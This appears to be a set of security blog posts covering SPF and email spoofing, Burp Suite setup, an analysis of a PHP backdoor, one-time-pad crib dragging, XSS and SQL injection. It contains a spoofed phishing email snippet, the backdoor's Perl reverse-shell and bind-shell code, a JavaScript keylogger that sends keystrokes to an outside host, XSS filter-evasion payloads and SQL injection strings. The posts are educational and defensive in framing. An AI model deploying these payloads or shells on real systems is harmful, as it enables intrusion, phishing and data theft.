SPF and Email Spoofing

MOved to New Site

The simple block of code that is used by PHP devs everywhere for "Contact Us" forms everywhere:

        <?php
        $to = "receive@gmail.com";
        $subject = "Hi";
        $txt = $_POST["body"];
        $headers = "From: $_POST["contact"]";
        mail($to,$subject,$txt,$headers);
        ?>

So the idea came, "What if I just put whatever I want?"

        <?php
        $to = "victime@gmail.com";
        $subject = "Password Change";
        $txt = "Change your password by visiting here - [VIRUS LINK HERE]!";
        $headers = "From: support@google.com";
        mail($to,$subject,$txt,$headers);
        ?>


What is stopping a person from just filling any header data to masquerade as a legitimate contact?
The solution to this little issue is Sender Policy Framework (SPF.)

When the receiving mail server gets an email it will look at the 'Return-Path' header and grab the domain from the sender's address. It will then check the SPF record, which is stored on DNS servers, that correlates with the 'Return-Path's domain and ensure that the senders IP/domain (Received header) is approved of by the SPF.

Simple example:
v=spf1 include:_spf.google.com ~all

The beginning:
"v=spf1" is the version definition. spf1 is the only version, it is mandatory and will be at the beginning of all SPF records.

The middle:
The testing parameters are here. How the sender's domain is compared to DNS entry can be specified in many ways (There is a ton of different nomenclature; explanation listed here: http://www.zytrax.com/books/dns/ch9/spf.html) For this example there is only an 'include' which tells the user to restart the SPF verification test against this new domain (_spf.google.com instead of google.com)

So if you drop that domain into an SPF reader you get this:
v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all

Same deal, just three includes, check the first netblocks and you get this:
v=spf1 ip4:64.18.0.0/20 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:207.126.144.0/20 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all

So if an email's sender's domain matches with any of the IP addresses listed in the SPF record then it will pass.

The ending:
+all = pass
?all = neutral = email will be accepted
~all = soft fail = will be accepted, but marked
-all = fail = will be rejected


This is where the SPF record gives instruction on what to do with an email that failed to meet the parameters fails. So this is the part that we are interested in when it comes to spoofing.

Complex example:
v=spf1 mx include:_spf.google.com +a:mail1.keybase.io +a:mail2.keybase.io -all
google-site-verification=2_x9kakVn08nlY19drRYak0gT8V7--0gD30LuHeQgDc

In this example you can see that keybase.io is using a hard fail for any message that fails to meet its parameters. So what happens to the message?

A one way ticket to the gmail's automatic spam filter.

Here are a couple of tools to check a site's SPF:
http://www.kitterman.com/spf/validate.html
http://mxtoolbox.com/spf.aspx

Burp Suite Set Up Tutorial + Small Intruder

Moved to New Site

Burp Suite is a need to know tool for people looking to be more effective in their web app pen testing. Burp has set of tools that will help

Here is how to get it set up.
Visit:

https://portswigger.net/burp/download.html

It is a Java program, so you will need a run time environment installed. Here

Find a home directory for your jar file and fire it up with a double click or else you can start it with cmd and allocate the JRE some extra memory (2gb)

java -Xmx2g -jar C:\directory\burpsuite.jar

We will set up the Proxy settings first.

If you know what a Proxy is, skip over
-----------
So why do you need to set up this proxy? To intercept traffic of course.
Here is a simplified way to think of it. Normal internet traffic goes like this:
Browser --> Web Server

Now with a proxy set up
Browser --> Proxy --> Web Server

Not a complicated idea.
-----------

Now that the proxy is up and running you need to point your browser to the proxy.

For this step I recommend downloading a browser you don't normally use, Firefox or Chrome, that can just be your 'Burp browser' and not worry about having to roll settings around so much.

In Firefox,
Tools -> Options -> Advanced -> Network -> Settings

Match the IP and Port to what Proxy listeners are set up in your instance of Burp.

Check to see if it works!
visit http://burp
or visit another site and check to see if HTTP history tab is populating while visiting sites.

Now HTTP traffic will go through fine, but we need to get HTTPS set up as well.

Visit http://burp and click CA Certificate, download the cert.

Now install the Cert:
For Firefox:
Tools -> Options -> Advanced -> Certificates -> View Certificates -> Import -> (Select the Burp Cert) -> "Trust this CA to id websites - > Ok -> Ok -> Restart Firefox

Now you can visit HTTPS sites.

You might notice that your traffic has stopped, You click around the web and nothing is happening, check the Intercept is turned off, at least until you need it.

--------------------------------

Navigate to the URL you want to play with, turn on the Interceptor and capture some info, turn off the Interceptor. Check Proxy->HTTP history and see the list of URLs.
Ensure the Parameters check box is true and right click to see the plethora of options:

Click on the "Send to Intruder"

Target: confirm the target url/port
Positions: Attack type: Sniper, clear all selections. Then highlight the one or two parameters you want to play with and click the Add button the right.
Payload/Options really depend on what it is you are trying to do. I'm a slouch, so XSS it is, but Burp doesn't have a native XSS detection, but these folks made a nice extension. I recommend trying it out.

https://blog.nvisium.com/2014/01/accurate-xss-detection-with-burpsuite.html

Don't be scared, added an extension is very easy.

After all the options are set up, fire away! Click on start attack and go watch a movie, cause you have the demo and that means your attacks are time throttled!

I'm still getting used to all that Burp has to offer, so expect more robust tutorials in the future.

PHP Backdoor File Analysis

Moved to New Site

An attack file found by Dylan over at: http://closingtags.com/
Source code with annotations
File named wp-class.php
Is stored as such:
eval(base64_decode("Ly8kYXV0aHBhc3MgPSAiN...
Encoded in a long encoded string, to help hide the contents.

General Info:
This file is for maintaining access after a backdoor is found, containing a command interface for Windows and Unix, some GUI tools, and a some self preservation functionality.

The backdoor functionality is only available if you have a cookie with the correct password set.
$authpass = "7b24afc8bc80e548d66c4e7ff72171c5";
That password is an MD5 hash of the word 'toor' which is root backwards.
Just a simple password makes me think that this is the work of a script kiddy versus an actual hacker.

The functionality of the php program is run thru one of the last lines
call_user_func('action' . $_POST['a']);

Which is just a callback function. So depending on the Post value any of the "action*" functions can be used, with the default being FilesGirls

Functions
FilesGirl is a file management form that is rendered in wsoFooter() and looks similar to the image below.
Functions come from a case-switch based on a hidden field named 'p1'
case 'uploadFile' -> Uploads a file
case 'delete': -> will recursively work through a directory and unlink the contents
case 'paste': - > based off of $_COOKIE['act'] a file is moved, copied, zipped, or unzipped.







actionSecInfo()
One of the more interesting things inside that function is the three lists
$userful <- "their typo, not mine"
$danger, and
$downloaders
Here is a full one: $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');

It'll then cycle thru the 3 lists calling function wsoWhich($p)

function wsoWhich($p) {
    $path = wsoEx('which ' . $p);
    if(!empty($path))
        return $path;
    return false;
}
//which is a Unix command used to identify the location of executables

A curious thing is that the backdoor will retrieve information to the attacker about possible scanners that would discover this attack file, but only in the Unix environment.
It doesn't try and self sustain in a Windows environment, maybe because almost no one runs WordPress in a Windows environment.

There is a function to remove the attack file from the server
function actionSelfRemove()


actionNetwork()
Contains two encoded variables $back_connect_p and $bind_port_p you can look at the value in the source code.
$back_connect_p =
#!/usr/bin/perl
use Socket;
$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system('/bin/sh -i');
close(STDIN);
close(STDOUT);
close(STDERR);

and
 
$bind_port_p =
#!/usr/bin/perl
$SHELL="/bin/sh -i";
if (@ARGV < 1) { exit(1); }
use Socket;
socket(S,&PF_INET,&SOCK_STREAM,getprotobyname('tcp')) || die "Cant create socket\n";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($ARGV[0],INADDR_ANY)) || die "Cant open port\n";
listen(S,3) || die "Cant listen port\n";
while(1) {
    accept(CONN,S);
    if(!($pid=fork)) {
        die "Cannot fork" if (!defined $pid);
        open STDIN,"<&CONN";
        open STDOUT,">&CONN";
        open STDERR,">&CONN";
        exec $SHELL || die print CONN "Cant execute $SHELL\n";
        close CONN;
        exit 0;
    }
}
These functions allow the attacker to open specific ports on he server.

actionBruteforce()
Defines a particular version of wsoBruteForce() that does brute force log in attempts of a ftp, mysql, or pgsql servers.

actionConsole()
Creates a textarea that can be used to enter console commands to the server.

actionSql()
Predefined set of sql commands for ease of gathering data.

Doing some google fu, it is possible to find that there is some history with the file called "wp-class.php" and there are even some instances where the file is still active.
What should be your take away?
Regularly check or ports.
Know the default files needed for your CMS.
Keep your CMS updated.
Learn to decode files at http://ddecode.com/phpdecoder/

Shred - Kali

Moved to New Site

Need to securely wipe a HDD?
This is the only command you'll need

shred -vfz -n 20 /dev/sdb

 The shred command is not exclusive to Kali, you will find it in any distro that has the GNU core utilities
-v - verbose, shows all those progress lines
-f - ensures that permission issues will not stop deletion
-z - 0s - write a final line of 0s afterward to hide the shredded data
-n - number of passes to make, in this case 50 + 1 (from the z) = 51passes
 /dev/sdb - disk location

Note: This command can be used for individual files as well.

One Time Pad - Cryptography

Moved to New Site

In cryptography there is only one method that has been mathematically proven to be 100% secure. This method is the one time pad (OTP).
A one time pad is a key that is the same length as the plaintext message that it is trying to encrypt.

Remember XORs? I'll be using the ^ to denote the XOR symbol, since it is the same as C++'s.
Here is a quick demonstration.

message1 in ascii:
Hello World!
message1 in hex:
48656c6c6f20576f726c6421
That is 24 hex characters.

So for our key we will use this guy
edbf0bc557f77222dab455ca
Courtesy of random.org

message1 ^ key = ciphertext1 =
a5da67a938d7254da8d831eb

If the key is truly random, and only used once, then ciphertext1is guaranteed o be perfectly secure.
There is no repeating pattern from a short key being repeated along the message, no dependency upon the message for substitution and transposition functions.
The method is also immune to brute-force attacks, as any plaintext could be created.

Now on to the fun stuff, why is this called a ONE time pad?
Because if you use it more than once, all secrecy is lost.

Say we want to encrypt a second message with the same key as above.

Second message:
Jazzy Ladies
in hex
4a617a7a79204c6164696573

message2 ^ key = ciphertext2 =
a7de71bf2ed73e43bedd30b9

Now an attacker was able to grab the ciphertexts from your poorly trained messenger pigeon and notices that both messages are the same length, this gets him to thinking you are using a OTP.

The attacker as a pretty good grasp of English and knows some common ways to start sentences "Hello, Hi, How, Sup, That, and It"

Take the hex value of each word and appends 0's to the end to make it the same length.
Each of these words is called a crib.

For the sake of brevity the attacker started with the crib "Hello "

ciphertext1 ^ ciphertext2 =
02 04 16 16 16 00 1B 0E 16 05 01 52

crib ("Hello "+ padded 00s) =
48 65 6C 6C 6F 20 00 00 00 00 00 00

ciphertext1 ^ ciphertext2 ^ crib
4A 61 7A 7A 79 20 00 00 00 00 00 00

ciphertext1 ^ ciphertext2 ^ crib as ASCII:
"Jazzy "

To summarize the above workings. If any guessed word appears either of the messages it will reveal the corresponding letters of the other message. If you are able to guess a word that would be in the message, you'll still need to guess the placement of the word in the message; This is accomplished by trying every possible position i.e. Crib Dragging.

It is based on the premise below
message1 ^ key ^ message2 ^ key =
ciphertext1 ^ ciphertext2 =
message1 ^ message2

This is why the key cancels itself out and renders it moot.

There is a small crib dragging tool here: Crib Dragging Git If a OTP can provide perfect secrecy, then why is it not used? There is still the matter of transporting the key to the party who needs to decode your message. The transportation of a key needs to be done in a secure way, and if the key is the same size as the message and cannot be used more than once, as shown above, you may as well just transport the original message with said means.

OWASP Attacks Part 3.1 Injection

Moved to New Site

Cross Site Scripting (XSS)
XSS is a type of injection attack that trys to execute a foreign piece of javascript  in anothers browser.
XSS has the two victims, the first being a website/service that allows an attacker to "lay the trap" for the sites group of users. The second victim is the end user who navigates to a site where there is javascript being executed from a seemingly reliable source.

The possibilities of what an XSS attack can accomplish are huge.
You could set up a keylogger:
/*
Simple javascript keylogger by Th3_M4d_H4tt3r
*/

document.onkeypress = function(evt) {
   evt = evt || window.event
   key = String.fromCharCode(evt.charCode)
   if (key) {
      var http = new XMLHttpRequest();
      var param = encodeURI(key)
      http.open("POST","http://pyworm.noads.biz/keylogger.php",true);
      http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
      http.send("key="+param);
   }

or steal cookie information via document.cookie, or do repoints (window.location.assign()), etc

There are two main categories. Reflective and Stored.
Reflective is when a script is executed from a url variable/get request, by means of a temporary storage; For a reflective attack a url would have to be crafted and delivered to the victim (email,im, etc)
Stored is when a script is stored in the website's database and is executed each time the page loads.
Example:
Save a script as your first name. Then anytime someone views your profile the script fires.

The most simple code to test with is a simple
<script>alert(1)</script>

Most filters will catch this nowadays, so don't expect to hack the planet with it.
Google "XSS filter evasion" if you want to find a whole lot of tricks that people are doing to bypass all the different filters out there.

Some intersting filter evasions:
<scr<script>ipt>alert(1)</scr</script>ipt>
This can be used if see that a filter is pulling out <script> tags, if it removes and concats the substrings without checking their new result then your attack will land.

Use a character encoder, like this http://ha.ckers.org/xsscalc.html To turn this
<script>alert(1)</script> into this
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E

Using HTML attributes to initiate javascript can be used if you cannot get the <script> tags past the filter.
<img src=x onerror=alert(1)>
<img src=x onmouseover=alert(1)>
<img src=javascript:alert(1)>

Obfuscation is the practice of obscuring the code with extraneous information that will  allow the attack to slip by the filter.
<img src=`javascript:alert(1)`>

<body onload!#$)*~+-_.,`=alert(1)>

The most important thing to keep in mind is that if a tactic is on a public evasion sheet, the filter makers know about it, but I've found that I will have more luck if I mix the evasion tactics of one, two, or three into a single attack.

Defense tips
HTML encoding is usually the first thing people throw out:
PHP's htmlentities()
.Net v4's System.Net.WebUtility.HtmlEncode

But there are also some other best practices that you can use to help keep your site secure.
1. Know where all outside data is rendered on your site.
2. Know the default storage state of information, notate the columns in a database that store unescaped information.
3. Be aware that HTML encoding, Hex encoding, and URL encoding all exist and know where to implement them.

OWASP Attacks Part 3 Injection

Moved to New Site

This is the subject with the widest breadth. I'll not be able to cover every kind of injection attack out there, but I will still mention them so you can look them up if you are curious, but the subject of injection will probably span a few posts.

SQL Injection
This occurs when query parameters are acquired from the end user and they contain characters that will cause the SQL command to execute in a way that it was not intended.

Lets have an example, here is a little query:
select `social_security_no` from `sensitive_table` where `user_name` = 'jclark' and `password`= 'superSecret';

What would happen if someone created a user account with some non-alpha-numeric characters?
Something like user name = "*';--";

select `social_security_no` from `sensitive_table` where `user_name` = '*';--' and `password`= 'passwordPants';

Here you see the user name, with it's unescaped characters, will have a big impact on how this query executes.
The system will now select all the SSNs where username is equal to a wildcard character, and the -- will comment out the rest of the query.
So it will effectively return all the SSNs stored in the table.

There are several methods that can be used to help protect your queries.
Regular Expressions, PHP's PDO, PHP's addslashes(), .NET's  SqlParameter Class, and many more.

Blind SQL Injection
The term is derived from the fact that you may not be printing the data returned from the query out to the page, but the query is still running.
Check out the following pseudo-code:

try{ 
    sql_command = "select * from table where parameter='parm_from_url'";
    if(execute(sql_command)!=null)
        LoadPageOne();
}
catch(Exception ex){
    //show 404 page
}

You can see here that even though a page doesn't show data that is returned from the SQL command directly, there is still the indirect knowledge that is gained by which page loads. This allows an attacker to ultimately ask your database true or false questions.
Although slow, it it still a data leak that could lead to ruin.

Comment Injection Attack
Comment commands in code are super handy for developers, but if input from end users isn't properly parsed, large chucks of your code could become a comment and not run correctly anymore.
The goal of this attack is to get a program to disregard a portion of itself as a comment, causing a huge variety of outcomes. The goal usually is to bypass parameter sanitization 

We touched on this a little above. With the -- MySql comment character. There is also #, ,  and /*, for the different flavors of SQL. These will truncate the the rest of the SQL command so that the attackers query can execute without worrying about providing data for the rest of the parameters.

The PHP comments // and /* can cause problems if not properly escaped,i.e. \/\/ or \/*.

The most common one I've seen is an inability to handle the HTML comment opening tag <!--
Nothing gives me more join than dropping this meatball in a form and then seeing the page stop rendering half way down after submission.

Be sure to test your URL variables, form information, and even cookie information before allowing it to leave its dirty makes on your code and database.